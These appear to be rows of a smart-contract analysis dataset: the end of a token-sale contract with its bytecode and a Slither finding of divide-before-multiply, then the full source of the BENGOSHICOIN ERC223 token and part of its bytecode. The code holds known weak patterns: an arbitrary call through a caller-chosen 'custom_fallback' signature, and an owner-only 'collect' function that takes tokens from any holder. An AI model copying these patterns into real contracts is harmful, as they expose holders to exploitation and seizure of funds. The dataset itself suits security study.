return realBouns;
}
//Stop Contract
function finalize() public onlyOwner {
require(!saleActive());
// Transfer the rest of token to tokenWallet
balances[tokenWallet] = balances[tokenWallet].add(balances[0xb1]);
balances[0xb1] = 0;
}
//Check SaleActive
function saleActive() public constant returns (bool) {
return (
(getCurrentTimestamp() >= startDate1 &&
getCurrentTimestamp() < endDate1 && saleCap > 0) ||
(getCurrentTimestamp() >= startDate2 &&
getCurrentTimestamp() < endDate2 && saleCap > 0)
);
}
//Get CurrentTS
function getCurrentTimestamp() internal view returns (uint256) {
return now;
}
//Buy Token
function buyTokens(address sender, uint256 value) internal {
//Check Sale Status
require(saleActive());
//Minum buying limit
require(value >= 0.5 ether);
// Calculate token amount to be purchased
uint256 bonus = getBonusByTime(getCurrentTimestamp());
uint256 amount = value.mul(bonus);
// If ETH > 500 the add 10%
if (getCurrentTimestamp() >= startDate1 && getCurrentTimestamp() < endDate1) {
uint256 p1Bouns = getBounsByAmount(value, amount);
amount = amount + p1Bouns;
}
// We have enough token to sale
require(saleCap >= amount);
// Transfer
balances[tokenWallet] = balances[tokenWallet].sub(amount);
balances[sender] = balances[sender].add(amount);
saleCap = saleCap - amount;
// Update state.
weiRaised = weiRaised + value;
// Forward the fund to fund collection wallet.
//tokenWallet.transfer(msg.value);
fundWallet.transfer(msg.value);
}
} | 0x6080604052600436106101695763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663078fd9ea8114610175578063095ea7b31461019c578063137b3bcd146101d457806318160ddd146101ef57806323b872dd146102045780632e0f26251461022e57806339c480c9146102595780634042b66f1461026e578063430fe9c1146102835780634bb278f314610298578063664a1ad6146102ad57806368393a4c146102de57806368428a1b146102f657806370a082311461030b57806386489ba91461032c5780638da5cb5b1461035f5780638feadcb714610374578063a3f4df7e14610392578063a9059cbb1461041c578063b45156fc14610440578063bff99c6c14610455578063c1f45e801461046a578063c5ddba021461048e578063d3d37a31146104a3578063dd62ed3e146104bb578063eb89022e146104e2578063f2fde38b146104f7578063f76f8d7814610518575b610173333461052d565b005b34801561018157600080fd5b5061018a610690565b60408051918252519081900360200190f35b3480156101a857600080fd5b506101c0600160a060020a0360043516602435610696565b604080519115158252519081900360200190f35b3480156101e057600080fd5b5061018a6004356024356106ff565b3480156101fb57600080fd5b5061018a61075d565b34801561021057600080fd5b506101c0600160a060020a0360043581169060243516604435610763565b34801561023a57600080fd5b50610243610836565b6040805160ff9092168252519081900360200190f35b34801561026557600080fd5b5061018a61083b565b34801561027a57600080fd5b5061018a610841565b34801561028f57600080fd5b5061018a610847565b3480156102a457600080fd5b50610173610856565b3480156102b957600080fd5b506102c26108ed565b60408051600160a060020a039092168252519081900360200190f35b3480156102ea57600080fd5b5061018a6004356108fc565b34801561030257600080fd5b506101c0610959565b34801561031757600080fd5b5061018a600160a060020a03600435166109c3565b34801561033857600080fd5b50610173600160a060020a036004358116906024351660443560643560843560a4356109de565b34801561036b57600080fd5b506102c2610af7565b34801561038057600080fd5b50610173600435602435604435610b06565b34801561039e57600080fd5b506103a7610b68565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103e15781810151838201526020016103c9565b50505050905090810190601f16801561040e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042857600080fd5b506101c0600160a060020a0360043516602435610b9f565b34801561044c57600080fd5b5061018a610c18565b34801561046157600080fd5b506102c2610c1e565b34801561047657600080fd5b50610173600160a060020a0360043516602435610c2d565b34801561049a57600080fd5b5061018a610cdf565b3480156104af57600080fd5b50610173600435610ce5565b3480156104c757600080fd5b5061018a600160a060020a0360043581169060243516610e8a565b3480156104ee57600080fd5b5061018a610eb5565b34801561050357600080fd5b50610173600160a060020a0360043516610ebb565b34801561052457600080fd5b506103a7610f0d565b600080600061053a610959565b151561054557600080fd5b6706f05b59d3b2000084101561055a57600080fd5b61056a610565610f44565b6108fc565b925061057c848463ffffffff610f4816565b9150600454610589610f44565b1015801561059f575060055461059d610f44565b105b156105b5576105ae84836106ff565b9182019190505b6008548211156105c457600080fd5b600954600160a060020a03166000908152600160205260409020546105ef908363ffffffff610f7316565b600954600160a060020a039081166000908152600160205260408082209390935590871681522054610627908363ffffffff610f8516565b600160a060020a0380871660009081526001602052604080822093909355600880548690039055600b805488019055600a54925192909116913480156108fc0292909190818181858888f19350505050158015610688573d6000803e3d6000fd5b505050505050565b60085481565b60008115806106c65750336000908152600260209081526040808320600160a060020a0387168452909152902054155b15156106d157600080fd5b50336000908152600260209081526040808320600160a060020a039590951683529390529190912055600190565b60008080808061071e87681b1ae4d6e2ef50000063ffffffff610f9416565b9350600484111561072e57600493505b61073984600a610f48565b92506107458684610f48565b9150610752826064610f94565b979650505050505050565b60005481565b600160a060020a038084166000908152600260209081526040808320338452825280832054938616835260019091528120549091906107a8908463ffffffff610f8516565b600160a060020a0380861660009081526001602052604080822093909355908716815220546107dd908463ffffffff610f7316565b600160a060020a038616600090815260016020526040902055610806818463ffffffff610f7316565b600160a060020a038616600090815260026020908152604080832033845290915290205560019150509392505050565b601281565b60075481565b600b5481565b6000610851610f44565b905090565b600354600160a060020a0316331461086d57600080fd5b610875610959565b1561087f57600080fd5b6001602052600080516020610fac83398151915254600954600160a060020a0316600090815260409020546108b99163ffffffff610f8516565b600954600160a060020a031660009081526001602052604081209190915560b18152600080516020610fac83398151915255565b600a54600160a060020a031681565b600060045482101561091057506000610954565b81600554118015610922575060045482115b156109305750611388610954565b81600754118015610942575060065482115b1561095057506109c4610954565b5060005b919050565b6000600454610966610f44565b1015801561097c575060055461097a610f44565b105b801561098a57506000600854115b80610851575060065461099b610f44565b101580156109b157506007546109af610f44565b105b80156108515750600060085411905090565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031633146109f557600080fd5b600954600160a060020a031615610a0b57600080fd5b600a54600160a060020a031615610a2157600080fd5b828410610a2d57600080fd5b600160a060020a0386161515610a4257600080fd5b600160a060020a0385161515610a5757600080fd5b81811015610a6457600080fd5b60048490556005839055600882905560098054600160a060020a0380891673ffffffffffffffffffffffffffffffffffffffff199283161792839055600a8054898316931692909217909155600083815591168152600160205260409020829055610ad5818363ffffffff610f7316565b60b16000526001602052600080516020610fac83398151915255505050505050565b600354600160a060020a031681565b600354600160a060020a03163314610b1d57600080fd5b818111610b2957600080fd5b8260011415610b415760048290556005819055610b63565b8260021415610b63576005548211610b5857600080fd5b600682905560078190555b505050565b60408051808201909152600681527f3058436f696e0000000000000000000000000000000000000000000000000000602082015281565b33600090815260016020526040812054610bbf908363ffffffff610f7316565b3360009081526001602052604080822092909255600160a060020a03851681522054610bf1908363ffffffff610f8516565b600160a060020a038416600090815260016020819052604090912091909155905092915050565b60065481565b600954600160a060020a031681565b600354600160a060020a03163314610c4457600080fd5b600854811115610c5357600080fd5b600880548290039055600954600160a060020a0316600090815260016020526040902054610c87908263ffffffff610f7316565b600954600160a060020a039081166000908152600160205260408082209390935590841681522054610cbf908263ffffffff610f8516565b600160a060020a0390921660009081526001602052604090209190915550565b60045481565b600354600090600160a060020a03163314610cff57600080fd5b600954600160a060020a031660009081526001602052604081205460b18252600080516020610fac83398151915254610d4f918591610d439163ffffffff610f8516565b9063ffffffff610f7316565b11610d5957600080fd5b50600954600160a060020a0316600090815260016020526040812054821015610df357600954600160a060020a0316600090815260016020526040902054610da7908363ffffffff610f7316565b60b16000526001602052600080516020610fac83398151915254909150610dd4908263ffffffff610f8516565b60b16000526001602052600080516020610fac83398151915255610e67565b600954600160a060020a0316600090815260016020526040902054610e1f90839063ffffffff610f7316565b60b16000526001602052600080516020610fac83398151915254909150610e4c908263ffffffff610f7316565b60b16000526001602052600080516020610fac833981519152555b50600954600160a060020a03166000908152600160205260409020819055600855565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60055481565b600354600160a060020a03163314610ed257600080fd5b600160a060020a03811615610f0a576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60408051808201909152600381527f3058430000000000000000000000000000000000000000000000000000000000602082015281565b4290565b6000828202831580610f645750828482811515610f6157fe5b04145b1515610f6c57fe5b9392505050565b600082821115610f7f57fe5b50900390565b600082820183811015610f6c57fe5b6000808284811515610fa257fe5b0494935050505056007ff6d99ecf17df3f1097d877fba82682b40f191db7daded98d658129a21865e6a165627a7a72305820e15ef2144a3b77255ab4a9d558b3bc4cedf0e7c438773dd6ae5c32c208f79d030029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,514 |
0x5808fb823d720e91f1564cd9c9081af7136f73db | pragma solidity ^0.4.23;
// SafeMath
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// Ownable
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// ERC223 https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// ContractReceiver
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
// BENGOSHICOIN
contract BENGOSHICOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "BENGOSHICOIN";
string public symbol = "BENGO";
uint8 public decimals = 8;
uint256 public totalSupply = 20e9 * 1e8;
bool public mintingStopped = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintStopped();
constructor () public {
owner = 0x17823d2B0e9f503C7ec2DE099243782ac3F7fBB1;
balanceOf[owner] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
// transfer
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
// approve
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// allowance
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
// burn
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
modifier canMinting() {
require(!mintingStopped);
_;
}
// mint
function mint(address _to, uint256 _unitAmount) onlyOwner canMinting public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
// stopMinting
function stopMinting() onlyOwner canMinting public returns (bool) {
mintingStopped = true;
emit MintStopped();
return true;
}
// airdrop
function airdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
// airdropAmounts
function airdropAmounts(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
// collect
function collect(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
} | 0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633e3e0b12146102ed57806340c10f191461031c57806370a0823114610381578063873ebe6a146103d85780638da5cb5b1461049957806395d89b41146104f05780639dc29fac14610580578063a17feadb146105cd578063a9059cbb1461068e578063be45fd62146106f3578063c204642c1461079e578063dd62ed3e14610826578063f2fde38b1461089d578063f339292f146108e0578063f6368f8a1461090f575b600080fd5b34801561012357600080fd5b5061012c610a00565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa2565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b50610221610b94565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9e565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610f63565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610f7a565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b50610367600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611042565b604051808215151515815260200191505060405180910390f35b34801561038d57600080fd5b506103c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611239565b6040518082815260200191505060405180910390f35b3480156103e457600080fd5b5061047f6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611282565b604051808215151515815260200191505060405180910390f35b3480156104a557600080fd5b506104ae61167f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fc57600080fd5b506105056116a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054557808201518184015260208101905061052a565b50505050905090810190601f1680156105725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058c57600080fd5b506105cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611747565b005b3480156105d957600080fd5b5061067460048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506118ff565b604051808215151515815260200191505060405180910390f35b34801561069a57600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c8c565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b50610784600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611cd4565b604051808215151515815260200191505060405180910390f35b3480156107aa57600080fd5b5061080c6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611d19565b604051808215151515815260200191505060405180910390f35b34801561083257600080fd5b50610887600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fee565b6040518082815260200191505060405180910390f35b3480156108a957600080fd5b506108de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612075565b005b3480156108ec57600080fd5b506108f56121cd565b604051808215151515815260200191505060405180910390f35b34801561091b57600080fd5b506109e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506121e0565b604051808215151515815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b5050505050905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610bdc5750600082115b8015610c27575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610caf575081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515610cba57600080fd5b610d0c82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7382600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd857600080fd5b600660009054906101000a900460ff16151515610ff457600080fd5b6001600660006101000a81548160ff0219169083151502179055507f58e0e1f03176dfa647922b700f27e00bfa7f939db5a6fb7dd47cc6dcd3cf619c60405160405180910390a16001905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110a057600080fd5b600660009054906101000a900460ff161515156110bc57600080fd5b6000821115156110cb57600080fd5b6110e08260055461265890919063ffffffff16565b60058190555061113882600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e357600080fd5b600085511180156112f5575083518551145b151561130057600080fd5b60009150600090505b84518110156115de576000848281518110151561132257fe5b9060200190602002015111801561136757506000858281518110151561134457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b151561137257600080fd5b6113a06305f5e100858381518110151561138857fe5b9060200190602002015161267690919063ffffffff16565b84828151811015156113ae57fe5b906020019060200201818152505083818151811015156113ca57fe5b906020019060200201516007600087848151811015156113e657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561143857600080fd5b6114b8848281518110151561144957fe5b9060200190602002015160076000888581518110151561146557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b6007600087848151811015156114ca57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153c848281518110151561152357fe5b906020019060200201518361265890919063ffffffff16565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561156357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811015156115b257fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611309565b61163082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561173d5780601f106117125761010080835404028352916020019161173d565b820191906000526020600020905b81548152906001019060200180831161172057829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a357600080fd5b6000811180156117f2575080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156117fd57600080fd5b61184f81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a78160055461263f90919063ffffffff16565b6005819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000806000808551118015611915575083518551145b151561192057600080fd5b60009150600090505b8451811015611a15576000848281518110151561194257fe5b9060200190602002015111801561198757506000858281518110151561196457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b151561199257600080fd5b6119c06305f5e10085838151811015156119a857fe5b9060200190602002015161267690919063ffffffff16565b84828151811015156119ce57fe5b9060200190602002018181525050611a0684828151811015156119ed57fe5b906020019060200201518361265890919063ffffffff16565b91508080600101915050611929565b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611a6357600080fd5b600090505b8451811015611beb57611af18482815181101515611a8257fe5b90602001906020020151600760008885815181101515611a9e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008784815181101515611b0357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515611b5957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8684815181101515611bbf57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611a68565b611c3d82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b60006060600083111515611c9f57600080fd5b611ca8846126b1565b15611cbf57611cb88484836126c4565b9150611ccd565b611cca848483612aa3565b91505b5092915050565b60008083111515611ce457600080fd5b611ced846126b1565b15611d0457611cfd8484846126c4565b9050611d12565b61